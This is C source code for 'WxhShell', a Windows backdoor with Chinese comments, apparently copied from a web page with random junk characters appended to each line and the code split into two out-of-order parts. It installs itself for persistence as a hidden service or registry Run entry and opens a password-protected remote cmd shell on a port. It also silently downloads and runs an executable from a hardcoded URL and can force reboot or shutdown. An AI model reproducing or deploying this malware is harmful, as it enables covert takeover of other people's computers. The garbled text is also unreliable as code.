    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @^@-A\7[KO  
    if(Boot(SHUTDOWN)) oQO3:2a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,B><la87  
    else { iqYc&}k,  
    closesocket(wsh); H*IoJL6  
    ExitThread(0); #^Y-*vf2  
    } A 78{b^0*  
    break;  t&]IgF  
    } = %m/  
  // 获取shell iV=#'yY  
  case 's': { dl4.jLY  
    CmdShell(wsh); ap!<8N  
    closesocket(wsh); A`Nb"N$H13  
    ExitThread(0); @VAhmYz  
    break; k:.c(_2M  
  } Sl#XJ0 g  
  // 退出 BHYEd}M  
  case 'x': { 3z<t#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q ^?{6}sy  
    CloseIt(wsh); +Xk!)Ge5E*  
    break; EUgs2Fsb3  
    }  %JZIg!  
  // 离开 '*:YC  
  case 'q': { d8>D=Ve  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~i4@sz&  
    closesocket(wsh); zob-z=='  
    WSACleanup(); &wfM:a/c  
    exit(1); JkmL'Zk>:  
    break; A`KTm(  
        } li[g =A,  
  } 2iu;7/  
  } Q1rwTg\  
@`{UiTN X`  
  // 提示信息 =uH`EkY:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~kL":C>2  
} UkUdpZ.[il  
  } _Z%C{~,7)x  
Jad'8}0J  
  return; "o1/gV  
} f%af.cR*  
 `@p*1  
// shell模块句柄 2Y,s58F  
int CmdShell(SOCKET sock) G100L}d"N  
{ B:l(`G  
STARTUPINFO si; .R1)i-^  
ZeroMemory(&si,sizeof(si)); opBv x>S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k3Y>QN|q8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X'5te0v`3  
PROCESS_INFORMATION ProcessInfo; e2;"> tp6?  
char cmdline[]="cmd"; %n( s;/_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .{6TX"M  
  return 0; ? in&/ZrB  
} (GZm+?  
Qr/?tMALc  
// 自身启动模式 )2a!EEHz  
int StartFromService(void) :Qf^@TS}O  
{ dM QnN[d6  
typedef struct YpiSH(70`  
{ 'h:4 Fzo<  
  DWORD ExitStatus; sh0O~%]g  
  DWORD PebBaseAddress; @sVBG']p  
  DWORD AffinityMask; XOxm<3gXn  
  DWORD BasePriority; NY_Oo!)3  
  ULONG UniqueProcessId; @wpm;]  
  ULONG InheritedFromUniqueProcessId; ioZ2J"s  
}   PROCESS_BASIC_INFORMATION; mCg5-E~;  
Dgdh3q;  
PROCNTQSIP NtQueryInformationProcess; R^D~ic N  
<{'':/tXI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U\51j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &fW;;>  
~Su>^T(?-  
  HANDLE             hProcess; \A':}<Rj  
  PROCESS_BASIC_INFORMATION pbi; wTOB'  
sO6+L #!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,]o32@   
  if(NULL == hInst ) return 0; o'W &gkb9  
L-Z1Xs  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @~zhAU!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +^`c" qJo  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y1P?A]v  
] Qj65]  
  if (!NtQueryInformationProcess) return 0; z. 7 UfLV9  
+W-sb5)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WWD\EDnS  
  if(!hProcess) return 0; $+$+;1[  
$.v5G>- )3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @UD6qA  
>/Slk {  
  CloseHandle(hProcess); .0Cpqn,[  
; 5oY)1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }Vg &9HY  
if(hProcess==NULL) return 0; eml(F  
*S*;rLH9c  
HMODULE hMod; h}.0Ne  
char procName[255]; OfIml.  
unsigned long cbNeeded; i_I`Y  
N9_9{M{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )J5(M`  
E+csK*A7  
  CloseHandle(hProcess); mR?OSeeB  
9CW .xX8  
if(strstr(procName,"services")) return 1; // 以服务启动 zPZy#7/A  
P;][i|x  
  return 0; // 注册表启动 -PoW56  
} eY;XF.mF  
8)/d8@  
// 主模块 XeJn,=  
int StartWxhshell(LPSTR lpCmdLine) [Vc8j&:L  
{ N-y[2]J90  
  SOCKET wsl; o4\\q66K  
BOOL val=TRUE; h b_"E, `F  
  int port=0; ]]V|[g&aJ  
  struct sockaddr_in door; :)p\a1I[*  
MA6(VII  
  if(wscfg.ws_autoins) Install(); -QN1= G4  
mA@FJK_  
port=atoi(lpCmdLine); 58V`I5_  
kZ>_m &g  
if(port<=0) port=wscfg.ws_port; kc-=5l  
oIrO%v:'!  
  WSADATA data; 9sJ=Nldq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x8 _f/2&  
u0zF::  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m}hEi  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); aS=-9P;v  
  door.sin_family = AF_INET; J2adG+=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9kHVWDf  
  door.sin_port = htons(port); >J*x` a3Q  
JlR$"GU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >mJH@,F:  
closesocket(wsl); :y'EIf  
return 1; oq${}n<  
} @ <(4J   
0xVw{k}1U  
  if(listen(wsl,2) == INVALID_SOCKET) { {ppzg`G\  
closesocket(wsl); }@x!r=O)I  
return 1; @GUlw[vi  
} 5C0![ $W>  
  Wxhshell(wsl); v;soJlxF~  
  WSACleanup(); /| q .q  
1r$*8 |p  
return 0; s@Dln Du .  
v{d$DZUs  
} wg%g(FO  
% IHIXncv[  
// 以NT服务方式启动 vAp<Muj(a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) is }>+&_  
{ vd?Bk_d9k,  
DWORD   status = 0; <O5WY37"q  
  DWORD   specificError = 0xfffffff; d~1uK-L]*  
CYRZ2Yrk?"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T/a=z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ve2{;`t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p^CTHk_|  
  serviceStatus.dwWin32ExitCode     = 0; y];-D>jk  
  serviceStatus.dwServiceSpecificExitCode = 0; I`zd:o]  
  serviceStatus.dwCheckPoint       = 0; oNZ_7tU  
  serviceStatus.dwWaitHint       = 0; q`,%L1c4  
Cb1w8l0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lD[37U!  
  if (hServiceStatusHandle==0) return; <+k"3r{y"  
om`T/@_,  
status = GetLastError(); V"m S$MN  
  if (status!=NO_ERROR) -8xf}v~u  
{ Dn6U8s&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >!6|yk`GJ  
    serviceStatus.dwCheckPoint       = 0; GlnO8cAB  
    serviceStatus.dwWaitHint       = 0; 3V<@ Vkf5  
    serviceStatus.dwWin32ExitCode     = status; i|J%jA  
    serviceStatus.dwServiceSpecificExitCode = specificError; <q8@a0e@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); XEgJ7h_  
    return; !bP%\)5  
  } TG%B:^Yz!  
#,%7tXOLR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s{-gsSmE  
  serviceStatus.dwCheckPoint       = 0; &^r>Q`u  
  serviceStatus.dwWaitHint       = 0; z Fo11;*D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H+4j.eVzZU  
} Zz0e4C  
]K"&Vd  
// 处理NT服务事件,比如:启动、停止 Ttt'X<9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X` zWw_i  
{ v1TFzcHl<  
switch(fdwControl) Snx!^4+MF  
{ _!nsEG VV  
case SERVICE_CONTROL_STOP: t:2v`uk  
  serviceStatus.dwWin32ExitCode = 0; 2yZr!Rb~*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $"r9U|6kk  
  serviceStatus.dwCheckPoint   = 0; KwuucY  
  serviceStatus.dwWaitHint     = 0; %{@Q7  
  { zaqX};b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TmsIyDcD~  
  } *'?7OL  
  return; {FNkPX  
case SERVICE_CONTROL_PAUSE: *yu}e)(0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |A%9c.DG.  
  break; g8W,Xq+  
case SERVICE_CONTROL_CONTINUE: or/gx3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  !+eH8  
  break; |eqBCZn  
case SERVICE_CONTROL_INTERROGATE: ,o& C"sb  
  break; l/&.HF  
}; [9 W@<p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @^P^- B  
} [nTI\17iA  
KK){/I=z  
// 标准应用程序主函数  =<HDek  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .Pb-{!$Ni  
{ @5Xo2}o-Q  
g !'R}y  
// 获取操作系统版本 -(qRC0V  
OsIsNt=GetOsVer(); LeKovt%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k }=<51c  
|9CikLX)7  
  // 从命令行安装 IH]9%d)  
  if(strpbrk(lpCmdLine,"iI")) Install(); eS`VI+=@0  
]&cnc8tC  
  // 下载执行文件 h051Ol\v*  
if(wscfg.ws_downexe) { C($l'jd&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ag-A}k>v  
  WinExec(wscfg.ws_filenam,SW_HIDE); D|]BFu)F  
} _BczR:D*  
LG #^g6P  
if(!OsIsNt) { v pI9TG  
// 如果时win9x,隐藏进程并且设置为注册表启动 j[>cv;h ;  
HideProc(); #Y'eS'lv4  
StartWxhshell(lpCmdLine); +iVEA(0&$  
} .tngN<f  
else mk-{@$QJb  
  if(StartFromService()) z/@_?01T=  
  // 以服务方式启动 uqMw-f/  
  StartServiceCtrlDispatcher(DispatchTable); iOE. .xA:  
else {o=?@$6C  
  // 普通方式启动 >=~\b  
  StartWxhshell(lpCmdLine); SQKhht`M  
S;|:ci<[=  
return 0; [>=!$>>;8  
} zLI0RI.Pe  
e#"h@kZP  
!jCgTo y  
Dl,QCZeM  
=========================================== 4gdXO  
R[fQ$` M  
PU B0H  
nU\.`.39 +  
TlX:05/V8  
qs_cC3"=%=  
" [)I W9E v  
d.B<1"MQ  
#include <stdio.h> m6 xbO  
#include <string.h> ';D>Z ?l  
#include <windows.h> xt`a":lru  
#include <winsock2.h> O~ x{p,s U  
#include <winsvc.h> 6Iz!_  
#include <urlmon.h> T<y fpUzX  
,lFzL3'_0x  
#pragma comment (lib, "Ws2_32.lib") wGIRRM !b  
#pragma comment (lib, "urlmon.lib") {`J!DFfur  
bun_R-  
#define MAX_USER   100 // 最大客户端连接数 h2:TbQ  
#define BUF_SOCK   200 // sock buffer fmUrwI1 %  
#define KEY_BUFF   255 // 输入 buffer PG|Zu3[  
_25PyG  
#define REBOOT     0   // 重启 1 un!  
#define SHUTDOWN   1   // 关机 M.)z;[3O  
_)3C_G1!  
#define DEF_PORT   5000 // 监听端口 ,5 3`t  
iF.f*3-NJB  
#define REG_LEN     16   // 注册表键长度 o`'4EVw*  
#define SVC_LEN     80   // NT服务名长度 $I ,Np)i  
LHA :frC  
// 从dll定义API 61HJ%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0 EA3> $;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wp4  .~E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KR hls"\1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7W&XcF  
XJq]l6a:  
// wxhshell配置信息 >I&s%4  
struct WSCFG { '^_^o)0gp  
  int ws_port;         // 监听端口 u'Hh||La"  
  char ws_passstr[REG_LEN]; // 口令 -ni@+Dy  
  int ws_autoins;       // 安装标记, 1=yes 0=no -G=.3 bux  
  char ws_regname[REG_LEN]; // 注册表键名 -h8Z@r~a/  
  char ws_svcname[REG_LEN]; // 服务名 /&c>*4)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U2Ky4UFm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c+whpQ=01  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %Z*)<[cIE0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v&f\ Jv7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n2[h`zm1{B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0+w(cf~6  
C!^;%VQ}d  
}; cnG>EG  
u:wijkx  
// default Wxhshell configuration bIV9cpW  
struct WSCFG wscfg={DEF_PORT, 7.kH="@  
    "xuhuanlingzhe", aan(69=jz  
    1, jpMMnEVj6P  
    "Wxhshell", AF{@lDa1h  
    "Wxhshell", %[o($a$  
            "WxhShell Service", "tA.`*  
    "Wrsky Windows CmdShell Service", w2r* $Q  
    "Please Input Your Password: ", W(.svJUgb.  
  1, n# FkgXP$  
  "http://www.wrsky.com/wxhshell.exe", oj ,;9{-  
  "Wxhshell.exe" J10&iCr{r*  
    }; byZj7q5&Q  
IZd~Am3f  
// 消息定义模块 {OS[0LB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jHx\YK@e\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =65XT^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]^@m $O  
char *msg_ws_ext="\n\rExit."; FIQHs"#T  
char *msg_ws_end="\n\rQuit."; 7sVO?:bj}  
char *msg_ws_boot="\n\rReboot..."; $?pfst~;O  
char *msg_ws_poff="\n\rShutdown..."; [Qqss8a  
char *msg_ws_down="\n\rSave to "; FJW,G20L  
~C?)- ]bF  
char *msg_ws_err="\n\rErr!"; &u (pBr8B  
char *msg_ws_ok="\n\rOK!"; 4'N 4,3d$  
fA), ^  
char ExeFile[MAX_PATH]; `2q]ju  
int nUser = 0; <DEu]-'>  
HANDLE handles[MAX_USER]; ?U2 'L2y  
int OsIsNt; w3ZO CWJS  
iU# "G" &  
SERVICE_STATUS       serviceStatus; 1h{7dLA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y{X%C\  
@U =~ c9  
// 函数声明 >;fn,9w  
int Install(void); W/%9=g$m  
int Uninstall(void); iN5[x{^t  
int DownloadFile(char *sURL, SOCKET wsh); }CrWmJu0  
int Boot(int flag); :y_] JL;w  
void HideProc(void); xb&,9Lxd|  
int GetOsVer(void); 3u,B<  
int Wxhshell(SOCKET wsl); Zk31|dL  
void TalkWithClient(void *cs); ~/2OK!M  
int CmdShell(SOCKET sock); )X8N|W>vh  
int StartFromService(void); w)/~Gn676  
int StartWxhshell(LPSTR lpCmdLine); &Cr4<V6-q  
cSmy M~[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =(v'8?--  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); TW1#'G_#  
Qzv&  
// 数据结构和表定义 9)4_@rf%  
SERVICE_TABLE_ENTRY DispatchTable[] = Z!l]v.S  
{ !y$+RA7\  
{wscfg.ws_svcname, NTServiceMain}, ,!P}Y[|  
{NULL, NULL} U/h@Q\~U  
}; cPg{k}9Tvy  
va0}?fy.O%  
// 自我安装 bE3mOml  
int Install(void) /.sho\a  
{ f#gV>.P;h\  
  char svExeFile[MAX_PATH]; n`T4P$pt  
  HKEY key; rshUF  
  strcpy(svExeFile,ExeFile); 4Ujy_E?^  
t8*NldC  
// 如果是win9x系统,修改注册表设为自启动 pfFHuS~  
if(!OsIsNt) { <@Y`RqV+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C3(h j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]3 QW\k~  
  RegCloseKey(key); 7&w|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S7~HBgS<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sFsf~|  
  RegCloseKey(key); o1uM(  
  return 0; @R(Op|9  
    } z :u)@>6D1  
  } `O0y8  
} kr-5O0tmf  
else { amWKykVS5  
dAy\IfZX=  
// 如果是NT以上系统,安装为系统服务 2HF`}H)H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pX1Us+%  
if (schSCManager!=0) F 6C7k9  
{ l \|sHn/  
  SC_HANDLE schService = CreateService ]0W64cuT  
  ( 5Sb-Bn  
  schSCManager, nC)"% Sa  
  wscfg.ws_svcname, OU!."r`9  
  wscfg.ws_svcdisp, ,qNbo 11  
  SERVICE_ALL_ACCESS, k(_OhV_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,k:>Z&:  
  SERVICE_AUTO_START, :sJQ r._L  
  SERVICE_ERROR_NORMAL, pn aSOyR  
  svExeFile, 8/ PS#dM\  
  NULL, #HmZe98[%  
  NULL, p2(Z(V7*  
  NULL, @*5(KIeeC>  
  NULL, e#|YROHf  
  NULL Pbl#ieZM  
  ); yey]#M[y  
  if (schService!=0) ")eY{C  
  { \~I>@SG2W+  
  CloseServiceHandle(schService); EVDcj,b"^  
  CloseServiceHandle(schSCManager); $VUX?ii$7=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $3^Cp_p6  
  strcat(svExeFile,wscfg.ws_svcname); cP >[H:\Xc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nm]m!.$d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J42/S [Rt  
  RegCloseKey(key); } o@Dsx5  
  return 0; ow K)]t  
    } j4}Q  
  } ! +XreCw  
  CloseServiceHandle(schSCManager); ?=V;5H.  
} 4>(rskl_  
} EEj.Kch}4  
O{ |Ug~  
return 1; o&#!W(   
} zx;~sUR;  
s-JS[  
// 自我卸载 jAy 0k  
int Uninstall(void) -Rbv#Y  
{ Pd;Gc@'~  
  HKEY key; q:u,)6  
$Ahe Vps@@  
if(!OsIsNt) { N%!{n7`N:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FPukV^  
  RegDeleteValue(key,wscfg.ws_regname); EjP9/V G@=  
  RegCloseKey(key); > - U+o.o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |X;|=.  
  RegDeleteValue(key,wscfg.ws_regname); 0?O$->t  
  RegCloseKey(key); qpV"ii  
  return 0; S9d Xkd  
  } #O^%u,mJj  
} '+7"dHLC;  
} QAX3*%h  
else { 2BV]@]qB  
w$"^)E G,7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /cZTj!M  
if (schSCManager!=0) rG3?Z^&R+  
{ ji.T7wn1u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F(|XJN  
  if (schService!=0) Ty}Y/jW  
  { H h35cj  
  if(DeleteService(schService)!=0) { _fS4a134R  
  CloseServiceHandle(schService); $N\k*=  
  CloseServiceHandle(schSCManager); slAR<8  
  return 0; jcHyRR1R  
  } ic}mru  
  CloseServiceHandle(schService); a9NIK/9  
  } I>{o]^xw-D  
  CloseServiceHandle(schSCManager); DMlr%)@ {  
} d .%2QkL  
} J vq)%t8q>  
D7=Irz!O\7  
return 1; nf1O8FwRb  
} v2k@yxt(  
"RgP!  
// 从指定url下载文件 !,]2.:{0z  
int DownloadFile(char *sURL, SOCKET wsh) U9jdb9 |  
{ hbEqb{#}@  
  HRESULT hr; 88l1g,`**  
char seps[]= "/"; aJ}hlM>  
char *token; 8:[ l1d86  
char *file; @0(%ayi2Y  
char myURL[MAX_PATH]; 3)I]bui  
char myFILE[MAX_PATH]; uU%Z%O  
?TJ4L/"(k6  
strcpy(myURL,sURL); bOSqD[?  
  token=strtok(myURL,seps); o`G6!  
  while(token!=NULL) E\TWPV'/  
  { r6GXmr  
    file=token; e=3C*+lq\  
  token=strtok(NULL,seps); ;hF}"shJN  
  } ;YSe:m*  
`vz7 }TY  
GetCurrentDirectory(MAX_PATH,myFILE); {Q c,Nl [?  
strcat(myFILE, "\\"); Ve${g`7&  
strcat(myFILE, file); #+i:s92],  
  send(wsh,myFILE,strlen(myFILE),0); T?RN} @D  
send(wsh,"...",3,0); :{4C2qK>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %!eRR  
  if(hr==S_OK) ~!=Am:-wr  
return 0; ~f"3Wa*\B  
else l(Dr@LB~  
return 1; <B>hvuCoH  
l fF RqZ  
} +~ Hb}0ry  
fDqDU  
// 系统电源模块 hnH<m7  
int Boot(int flag) E 0/>E  
{ 'HJ+)[0X*  
  HANDLE hToken; %?, 7!|Ls  
  TOKEN_PRIVILEGES tkp;  + K`.ck  
\o=9WKc  
  if(OsIsNt) { w>8kBQ?b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z6rZAwy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  v\CBw"  
    tkp.PrivilegeCount = 1; ,|A6l?iV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a6cU<(WDeh  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y10W\beJ  
if(flag==REBOOT) { lJN#_V0qW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tQRbNY#}Z  
  return 0; 'JO}6 ;W  
} gk}.L E  
else { [B^V{nUBc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *l@T 9L[M'  
  return 0; Z1h6Y>j  
} =y^ g*9}_  
  } z<s ~`  
  else { ivSpi?   
if(flag==REBOOT) { vos-[$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w uhL r(  
  return 0; &m`@6\N(  
} X;{U?`b-  
else { /GA-1cS_(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !MOcF5M  
  return 0; oMxpdG3y-  
} 'h> l_A  
} orEb+  
t2z@"e   
return 1; R(A"6a8*  
} /7b$C]@k  
-GL-&^3IjH  
// win9x进程隐藏模块 }x:nhy`  
void HideProc(void) {q BbzBG  
{ cK2Us+h  
K-7i4 ~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o n?8l?iQ  
  if ( hKernel != NULL ) j=w`%nh4"f  
  { @33-UP9o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f@J-6uQ7w  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z65]|  
    FreeLibrary(hKernel); t/:]\|]WB  
  } 3Y=?~!,Jk  
4+r26S,T  
return; MX@t[{Gg9  
} 0zQ^ 6@  
{t.5cX"[  
// 获取操作系统版本 *>lh2ssl L  
int GetOsVer(void) Tz\ PQ)!  
{ YP^=b}  
  OSVERSIONINFO winfo; S(B$[)(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;_o1{?~  
  GetVersionEx(&winfo); #GDnV/0)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lO (MF  
  return 1; f<14-R=  
  else B3+9G,or  
  return 0; Q]JWWKt6rV  
} scf.> K2  
($Cy-p  
// 客户端句柄模块 m\4V;F  
int Wxhshell(SOCKET wsl) !2.(iuE  
{ wzXIEWJ  
  SOCKET wsh; 7Ei,L[{\i#  
  struct sockaddr_in client; ;6 ?a8t@  
  DWORD myID; v qt#JdPp9  
sf([8YUd  
  while(nUser<MAX_USER) 2)~`.CD?L  
{ TpAE9S  
  int nSize=sizeof(client); @ 0'j;")XV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (#&-ld6  
  if(wsh==INVALID_SOCKET) return 1; "{;E+-/ aL  
i,H(6NL.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]9 JLu8GO  
if(handles[nUser]==0) z4qc)- {L  
  closesocket(wsh); 5@lVuMIYT  
else lZ'WFFWLE  
  nUser++; P<%}!Y  
  } _o52#Q4   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7C&J88|\  
9\zasa  
  return 0; (# c|San  
} 1dhuLN%Ce  
6e;POW  
// 关闭 socket VLfc6:Yg  
void CloseIt(SOCKET wsh) }@y(-7t  
{ EV'i/*v}\  
closesocket(wsh); th1;Ym+Ze  
nUser--; ` pYyr/  
ExitThread(0); 4,P(w+  
} Ol sX  
ELN1F0TneH  
// 客户端请求句柄 Q}: $F{  
void TalkWithClient(void *cs) qs%UJ0tR  
{ k-N}tk/5  
0clq}  
  SOCKET wsh=(SOCKET)cs; q$;j1X^  
  char pwd[SVC_LEN]; *mJ\Tzc)  
  char cmd[KEY_BUFF]; *N |ak =  
char chr[1]; :O'QL,  
int i,j; LPeVr^  
3&!v"ms  
  while (nUser < MAX_USER) { ^@C/2RX!  
#`ZBA>FLaQ  
if(wscfg.ws_passstr) { dBkM~"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1I awi?73  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `Frr?.3&-  
  //ZeroMemory(pwd,KEY_BUFF); {4$aA*  
      i=0; Y?qUO2  
  while(i<SVC_LEN) { uznYLS  
=fy\W=c  
  // 设置超时 ^;9<7 h[l  
  fd_set FdRead; O I0N(V  
  struct timeval TimeOut; <L('RgA@X  
  FD_ZERO(&FdRead); tVe =c  
  FD_SET(wsh,&FdRead); =axuLP))  
  TimeOut.tv_sec=8; 8 (ot<3(D  
  TimeOut.tv_usec=0; k. NJ+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .Y0O.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); va:<W H  
6V"u ovN2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !' 0PM[  
  pwd=chr[0]; ~z\a:+  
  if(chr[0]==0xd || chr[0]==0xa) { &lgzNC9g%  
  pwd=0; WH"'Ju5}  
  break; lCgzQZ  
  } ))dw[Xa  
  i++; 'd|!Hr<2  
    } JeN]sK)8x  
pss e^rFg  
  // 如果是非法用户,关闭 socket V!(7=ku!`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Vh1y]#w  
} 3H<%\SYp  
->OVNmCB`+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %hmRh~/&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^AI02`c.  
rS!@AgPLE  
while(1) { f tl$P[T  
' A+L #  
  ZeroMemory(cmd,KEY_BUFF); SHSfe{n  
]8"U)fzmc.  
      // 自动支持客户端 telnet标准   ?vbAaRg50s  
  j=0; !#%>,X#+  
  while(j<KEY_BUFF) { Ri AMW|M"C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dPpJDY0  
  cmd[j]=chr[0]; )2l @%?9  
  if(chr[0]==0xa || chr[0]==0xd) { WB_BEh[>j  
  cmd[j]=0; #Vmf 6  
  break; 6`6 / 2C$%  
  } I0H]s/*C%9  
  j++; XUVj<U  
    } S,5>/'fy0  
U8NX%*oW  
  // 下载文件 8oI|Z=  
  if(strstr(cmd,"http://")) { zx$1.IM"4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'wYIJK~1  
  if(DownloadFile(cmd,wsh)) Gt?l 2s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); cK\ u  
  else $kN=45SR  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <[ 2?~s  
  } }wp/,\_ >  
